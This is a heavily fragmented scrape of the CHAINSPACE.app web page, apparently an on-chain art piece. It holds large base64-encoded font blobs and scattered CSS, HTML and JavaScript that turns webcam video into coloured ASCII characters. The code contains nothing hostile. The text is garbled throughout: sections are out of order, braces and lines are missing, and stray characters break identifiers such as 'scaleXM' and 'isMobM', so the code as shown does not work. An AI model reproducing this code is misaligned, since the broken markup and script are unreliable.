p2FtYp3UncaTBhbq4dqvKPb2cCw2S+A6eqdG/Y1VMgG2zeHqktmNEJsS0J3s5oxefx5SvB1Oe5uGRVo4BzB/8c0YDaq/h00dOD3ulPd98AX5h83Mg5RqCZuU7KaBHsyUqZ+EZ2IS97X4PYWxBbafGmrDUJzNX1R5CT5V/5M7VzMX7ppa/TsoP6/tNbtWbupppKW0xyrjiqwj6pT5qTLPYl13YLA8Kco8ZPc6Dy9LtX+lhOLiP64KYuNO1NjkqGw958Qe0zb4lZ/Sz+wM2YjGTWFgZ0Iz1G9O/nuj142oL66x0Yqn290xUS0tgxYS9/WTdIY+a2Jt7gho9i/vSwL+fvKk3Susn/HZfhymVC32vnbjmfPAQda9HosQgDYY6wjAOeJKctBuEuIp1BcvBbti1EylwEhYS4rND1R0vXJwLKS9+7LthtMdDzSY/I18qZC2575dkmx+r1zln+Qx5K0qJIfKsrbzxwnYHCxSau9omSDI0o+o8cCDytMJm64vIWyUn5y3/r+eM
H9t98gpRiW4UmkGlU1P3UVZcwASYnJ41H0s8TrVtO/+bviMWGXYuK67fti9qqve3WohUhkBsPnR3edzrhVVmfoiEoM/nAhKJV4Wn+zrOSeJGK1aT9e3kv9n6dNxTTIdDDT8VefNe4a+bvun2KM+rliCH6hrdr3momIjSm51PPrz3vtevd2joNbSSS02hMIgNrxcBwO27UljY0iPbEPrGDYRFwEAS23LAivy8YjsKivdw0m9RxChKc4I5EvTuHOQaFbYRTJhYBKsj0dX16+pPiM8XUpq/tTY0TAg4tBB4NmWNnV2L4cbU08bmfW9TWhYI/erbskITLKpLee8F2A7vU4IfLwVRWawsaHurx4pa5NobiSQYZRQcP2pZ8mu+xapjEy9LO1etaSflBfhe3GRedI5hIz0+vwWCZVh0Ff+La1QwGDaEuivjRqF6OIEDh8qunUxBQpRKDGzv4kiWs80CjTmIRmWJlga1NgTCeiM7+aNezMPOUfIUAV4FuZfb1kdyIO54rNMAM
p07mfLzJ63Xoyn2XW9aLKCnSlJKAl8yqqNjNTcuvyQ6f2uaTS4uIesDLtWFyDIpN7piHUoUR/Qu+sKLNKrG2Kn9r5kUytUzqfPJgj2A/wwOAyFFNUU6O8oB+e0NySYzv++7PIut/6h1ur1guAkAhS3p70J8ULsUS7NdO6insr82SqxenO8ayXmWW/kfYTrTxeuYKhNCeGTN4iWnlD8tUj2laN9nbl+SxeQsseedPF0UkhZXLSwaSFMqkQOsQZQkBsBfuCTGItAUfnASQbsieIAlx/ab2NbTzZaAbZUCbAJ0FPiuGuMHckFcRQq4o9zBRykPAlOJdS6NkSqEaDpSZbv2AqKQhHES4gcYCs2oHo/ykj192GQBAQRHDi+Od7f9IMID7/fiw66y6MGQ7BO4C5+kjQZLUnlgJJk4OdokWmTfvIArMxUVdKhMO1CviFuyAwGAyHIFQCBGn70caxgFXn7fXe6c9g0DIYFwyNdb8Bdv2A8lxzWeGvMAQGZOcXNE8ASzuRZJoM
vHAqGR2Uh5FAWGBxRTAJz4MngaVESHMYLeR9baA53y3NrDxRUxEAgYDgWRn0PAZVxtRB5iygWxnOHCCHc6J+6Lcs+pM0JDLacPx89IDzky31Js73NhK5WwNy0KFjACiLuQO28gpygkFs+Yfq4QXcUcnwadq3WzQqBoZx8MHC9Hg0ji+FOICocAt1S8jGx6zVT675iNxSwkgm+LeQ5Ohu1KgxD6BrO++XsLFTfEEmT3J4h6UZHR776mWROsNVfZGP0VX2PkcqE11OlUlk4V5qm2uusVTkbnO3n/hApjH5uA4MkdGJUvsNf/5gFCHQ9Ar8Xi92LR69Bk8r+UdK0Almc1LlTJqBpF253usI33G2CMjAvUfCgMxvYUN/e/dX2kmCJi9Hnkq/Rx0Wa72Q/MNyTCC3aXb6/Hke3ZaQXT5CuKGB8jX0QB434KWxqoqMuI6krVrTY9U6PCph/vvJmvr7IEIyc3monR53vpSAvIm137/j+E4EmP9hhvx9YDk5P6To5sdYp7NzM
BqmmPid+29PA068c3HQF+u/drpNIlXLVmntGDavJYMy9M5VI58ute2nfCe5qHO/rFC7S7B+094buMXoXPLDa4K6dhhLaBVsNwWuz0vqicrp82LP2wVBM6P9QAfwD3X8e+PetnlotDb4rF02Eima/51W02mTNuzzlsb3+YwxnzsfZx+Vwub4zm8Xk8YCFyG4gnZ3MVrgBxwhx+iu4gNeEz7aV0KtqHRJdxO1nxaJzlEnAZNysEZSYAFsAj5TKfI3P4GMAzznQ8cQkxRh5fyHyulIt4InsTFwCXIj4hxAOeIyBdlr8/rLs7bH9+vsMCL03l459qgYut2zHbX2I2YtxBk5rJG5+NN2XB0XBj9kbPohCH19sBwwucxvhPJs3I1dDS8wLzngc+Tw1MNVa66dGKU/GLRH0KO9iWOCyiyNEqt8hXmVMS/VNuFAVGVgiH0bRX7VM2SNAeVMe174JHm71Ok6VU7+uQd/VSj9plcz9qQyQX691dwOYwQx7QPmrw5ET46kimwGvM
w0/RNnrnAoRcplpRL9w1nrt+/ftnA9LmYktIiKc3QsbrzZ2BXTVfRg82Fas7MTEVR6JKzPtVEz6Zh1HWNd8VmUbSW6pggC+xzfD6sXandWKjVaGODY80aM2DTZUSmxbh1w6P1MLOk0qKf4x2ucamAhwWiO0pHU3HdOtaAfuDp8FTAFFr0LXDKQjqpO3k0knwzf6rf23epXVh5ucVeos0R1m7NTbLGp1UMRB08X+qRUeJ5UXpnhM7YbojbSKvdAaZ26+LUkf8d9ZzqmFrJ5TkWt8ZY1QExEVoNPdYHqJUGK0CKbHqsiyjPbK5OTWmuyqzQRTwC3lldUrzocqbERRMqqFvBSbRPr10fLJZp0l0W/VVaclX/VV+13tpoBcIzWbGYHFIONYFyf8WbCv29sZqkZZZ+hSlljaoxNOr3EFexsoy+MWJDjG0OI9cmDqd3/LbAwXHBN0cHtXiBYgvoP3GnHkYrY8xjRdh+7j6aE1DpFoQWSoxSZ8eg69SvDkESZ4cgqBm/SFcM
S1vA4jFRIK7UBvrwPl2PJPigkadgNUk1V+hDwU2RCOwGvF0WgwGfa6YQIImkIJ9i2CXIbNUDG/Y/qZ/QfKXBCi+bejznq7QNIEBKY46tT6e6sYOk40ezYiRHsx/WbpjYsN6LgKQJVBtZ28F8usf+/VVFKO641r+VlEsqxvJxioWeK0pQBrjHRkQnq0OcQlxLWXFy8HXPFrefLm/ZuIuG1yJ5RuzQSHr7C5g+o8sFDMobk1QiRg3j7FZBapNLw4NoKkP3Qw48hESDI2KqSXSy70SRVYzdX7TsbtZU4DLN5hF2PuDBKqaQI9XYaoU0KVEvnImHacBEEClYneBwOqdtFWVxJuVO0GOT8iTiN6rPSNEBCAwPM9la7yhgmdpTc6sXYiYrwsLgGsWkO0a7cp1rJhVN1fG0Zdz4okRmArN+ozoEg2uTIvmvBtNjNTUdgyDuWpsyihCyojQirACGfpT2AUxbDDdM8tR00tnHXdvgPjxsIEql4hNmjRuFIB1mEsFDb6emAyrSM
ptBz700/jG7OpEARYsVkJRcMUxAJObjzYK1CtXmm/w3WLRutrJCdwCkjzlffWUJi4GLsC6YKHz9WhkfGRkS72KYp0URiN0rbahyFhIsSX7Ki8jvb/zqnpNRk4VJN72QPbN7b3XUEwOOWOcwh6HQjbN8GOs49mBa54wXH8QM3JEShsTyC7p7RqKd9KA6ejk+Dr0bBcKKINCidO7Akh+GAJqG0w1HM4FsLt9s3Ai1SbFETUVyT+B2QRNWeEG4GDViAF6eseZJx7jsFi6hj4kE+f/mSWbf+TQJTW21EWrvy8LtJiwrCzSfSH+wt71/9A6lev9pvYmrQVAocxVcACW0mWbGzMhuLJnYw9suVcB5atFmqEaQ72/uFBLvYmP++I6W/BKHHpDzjyRx9V7K3z1is4Ue9FrldaJGQ8D8t0D/QIcnNjV7pvKNro8WBBMvpWMTNRtU1OjlYVZ+xN9Lobwe7cbmvrnoHCZbw7l1AvMiMXYMkTE3EWk23BSbEdK/Di7SyGzLg2zt1M
Xczav9qrE0cBnZtWhndMc4778h0C3Hjb5mKgYT8b7YgV3pZY8cFmsF5ie3PatVt+3t18fM16Y++uRWeztPu7u3MAvz7zj4fE5eA8llpJJjqVcpMSRMimxlKsUahFVtIBSRBECZW7oanBtEhBGKadcdGWZ5HEKOX+6iFrkXZTbPV6B7s0yeTi46gB8j0nZElhXF7jFY4eBl4ni32zA/wW7QaEWKOp1zH0cMgoDP6nTLWmAN3qVOPjtxIMgch3Yy2QNguNhQih8x/2Y1QGlC7S94CgM3aus1ItG/vpbhlaFgUMzoPB1vPbob2hMLQRP6VgX9yhRtAOGxkID//l4hAKtIOKm7CorQ9H4+WiU0ODFNnlnx+95z+bYCjbX26AFaPJMuHrzATbGinGcW7MDjfCHu12cWuf9dKi9pwWN6Yj5i4CnJxIwrcs/NJFRb1BIIQqsR4H5UPgBJKoGA4vQqhdiUQjYIAT0BI2G2yZjCKzKaCEKXQQQEQ1osBJcjCQxwGIItAZOITvM
Jl0PAxC2h3sm782I1A6WlA5oLvXAk9gEMmg6Vpyl4C2EIOCIaiakqpcEL4IgqpcoOBSO7g9G7HJ8iUxHIWBgYydWiERY1huwAREn88pzCTdJ0T39WmnuyYV7MclmmLDNmuTVUyXfD3zNphJmyH97wWWtD9syw7xIW0d1iZFaOgUm4CfT8KMiq9pdIGjiM70tNPgpqfJ/SNShcqBAHsxznRPp/bFHLREEiPjMmwwe4IX2DIpSP7UEeDi3455sJ8RaJe5U/xoi/U2+CFi9+gLJqC82eh3E0WtT4jQuwR09U40lbyQ71gm06g8xAj/HzkudGBYd9+UR0SeCEpHuj8cxn4adibFRk43x9QLlZ7d+q010si20KqfdaiJgA2JFw3TAe10ZCgOFExWrBnAOlrelItPNwTivHdObOFwbBD40i1mzfa8sZPCBL9oioCSYQFhSSh5yjVLle81RZBl8wFLZ+a5UgSL38R7kSCdMOtTBpGzcbkBDFBBGMNV8KFggvNkAjdW5wKO8M
0gfSHAoKI7lyE58FU9zaTT/v6bMBgjkHhVRAQFEsyJfV44AiUmkIwkfoNj3w3ZqcR+8BxKWh8YnsHE4tXD05OfBMT225NZMLgN4jE3WAsEoLPsQeCRpDYta7qLT9zdJXAXawkDpJoo6Guh4iU0RDXURppkJhLKsbjidhqLBGP50ks0VKCjlgstyiIOoI09LjUbBESA5OlhECi0AK+Q+pZ17hjb/WOdT0kIAIvi+Df40fIZI7da7NlqCOlPOdu58wTzXOa7bNczVKp2dWVsG/sOv9pGCD5EX9OfKrgk6psMDLv7ZODFwvWYSEIMAeBoKFyWua2sXBM1mLjkW1xa37a05vo/CxgCEXEh+NhSKonGnya8ZX3usBHF5Cl+K7zwUBhKIoHBp+K46eJerk2iVSszrfbZmzAo1amIDFSKrLLURQ26y8ahp43HrfGxMHQy2k+3seG/ibhLHiYE8QBDcMkRbkteQsiT3I5gzrQxSmedlkEDOoApTBgeEvhKqohg0DtYFIWjhAM
5BLgjgUMcmUdl9FFxzaayufiBATzyOwq9KoYrQ8O/vjuHQD2nzseoMWDHB02b8kVZm0oeOG607YQ2khojmmCbz7ITemBNmkYQcOghGXkISeSo0ICBBYaAdsD870xFf8AoOcTUTCG/X3kbOY7YjhxD3kYcRm5HTJ4TA2k3K/clsIDUUx2n2OxE9mSnJbLkQZdfp6mZ+uU7JvBq7LmNHEdu00P8tCY34Og/2FCv1whhoHCUDxilVlR4svisBSw3VpFdkygSVR2j022kcSwfrAh9HR5wK8BMpzt0irvoXQHx9Df0126MrYwhBf02feBByEQIsKeOi9MS2N7JlAtUCLwoZOokBdIBarI3G6/FcY99GSNEE2KJUQSfrCfGEgIz/wshGPaj4Ic6wsF/JrmTKbdsbJFHUKiLSPQFTbGSzHouGafDwDaHaKRtaFKjmEBA30S5DN9DEy+jsb4n8EyuluH0lUZ94LcchcOCQCDhPttRRAfiELzrPBSLW9qmIxIRXQgdfACB6EeM
GZRCIJEKGwiYHkMc4SkuhgWi27gHC+YP2juZ/hUjAYefeXkWisN329EZe6yYJWAp/HBF3zxPPx9vi3LjdKGbJmatdcxEYW0TQ9/EIPGDZsHiJXtJ3cP3o2gSGtoX77UfFtNwidEN4FhdPIQ4jkZOIK6hxJIV6uRAxGaDDArnmgJGXC+oCwUYWEo0DzvXpGb1R3mAc09MZPY7Gv6HGkM3ppg2IMXjLNm2Itq2XVVNbgRhHFQO8FEL5RukiOjyR+tkCVEWblYFSgUmK5tCRKEcUki4Zy3WhKH7uUIkuCJrawBDmEE46BUqVSr0z3yRtl47481Jw0wnX8Omh2UoIRJkdSuevEWIlOvmyCUjBz9oXW9XsFVfNcdWo6n2z0I3CLYeqNnbs1374qA3WW5eDNx/Ibaref+/TxoeWtFx0e5KRQLQHVB1gMLy/4+3EKX719nE8oUtUqe9FYfehEbg8go2YxCLd2zMIhoCYfL4dM8uOGWSHkK84OECyo68lk+fi0YkY/FiXLhdM
LGt27qn3tIqPf47nhRinQRrNGWIdWgc/ucYOa0lLNYFz8sxgv2IsBbA3Ex+3ps7kvz4zgMK3tG7FUhT6QjMiIq7h1O6/1FMbCrKpiWmy4W47/+j91zxGf9//BEc44lbEY7z8IY9wpb+ybqCuLe8ujU/ljuT+e9ID53A54/ekpJ+lewEDPAd8xZFE7YKTMKUli/i56LrVDBL4A3NVEO87PgPzka8hSgtz0D8/q3Mf9eDAA/vBh5PbQHICiYMJ9BEk0mN6Hnns4D73g10XkwY+b0j2sMHWyv7mwWau4NI9mwKikKuKYiw+pYBAVkPMfhlB+OxcmjQGBp8EmP5u5jSCkSBSX94CHRG5SDOm+AUX3eH7CKnpdTM7vkI5bcSsgzJ29dnH94kITq5VVMqabUdt04OMvPkQFILzzJPIUoKQcqcLHrnONOTNS3mqw6Ndr8LDBpRHk0F47RKGpV5+OM7Aew76vwycoGGjYcEsNJ/RBIUK2IDGmyM27+Fmq8Flo4yrMruNRkQhM
yl/31HCeRhl7YUav0JIC0m9WH9EhNTOVlIJG3wIzzALsOAXa8A4kwbkwlqAYkRTpX19m3RMWGAovLBDQUWRE7NHqXYIlTSwDOzdVeIhA3eQ7ChQnp4dIXDr8P/TjzExAE8/A5Ru1Uoruy3jL/o1M9LFxtAwJ23lLldvlSvYYS3Dnu/EWiMRcfkngKVNp6lwIvFm0r6DhLYMuJAlYfJKFdDwKTnyZOctKO4tDoXZwlTh0GGMQ6lvVLJCHW4TmEJubyElITfQ5op3QvD6XQiHmw+xAX0z8B0I/puohSmvkJeFLtrpoQFUI3oxzWTR0sLWJEKoh1Uzfl0ji+neQC4A4pD4y3WkJDjIZAnZ/PHbc1tza2q1ubvFk1OReJAJVP3/I5TKrxwDA79hcVa/Q2MDAeCI7eGQUoB3LVjPBXRtZKupLZKf2qYjyQw4Ce64MMABHgB5vhE8yBgaH4OagABX3AEWUpJIKs+ChfjTnK1MkS/4ZaMiDTpNicAj2iynqwSNwWNtBzbCpM
CMREUPHbimpcHVlE9J5OyGczDlUKOwU1b2w6oA6n+KqjCn0et2Ep0THa0YnXFLyiGfFi4WLF/iRp9UMydH1rgDBTxYcBr9EzRfvRLse7Sw+ym9EChWjXMqwiFlXmCCcgEx3G7az5crZ9eAjy9e/sZXMOLHAai1xWI7NY1+IU+yDoa9giAd3EZvP7hPu4LVK2oEOlrFEXwCL8Tenfa+s2lnb0hNoycgsF9dHr8RICv3p1G4gCdS+Pv4E6R+ZvOUuLmhDGUUxK/MzZKdvNr6S+BRieITNIMiRl6Wma0URWMsigl0227iqlOUDPF52nkYDvbt2VC/g2Bzl6cKyAgLCKH0vID4ykfOZtkk8AE+SWyTh0ldvnFMgv0hYJ5JlGy45DxKrbYFTWbXKbRbyHre8uq/K/JyNOMI0eRthLIrWs3Hjg7Wc5Qp5YCnI1XzrsEszsLpj0BxYjcb3HOjsmqHgD9cyBI0Gm7XWs08pd0a4f4JM4tukcBmpa4LaQJz3mL8jAGzA8MbIWM
UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #000000;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#1A1A1A", "#4C1A1E", "#73262D", "#9B313B", "#000000", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => {
    running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
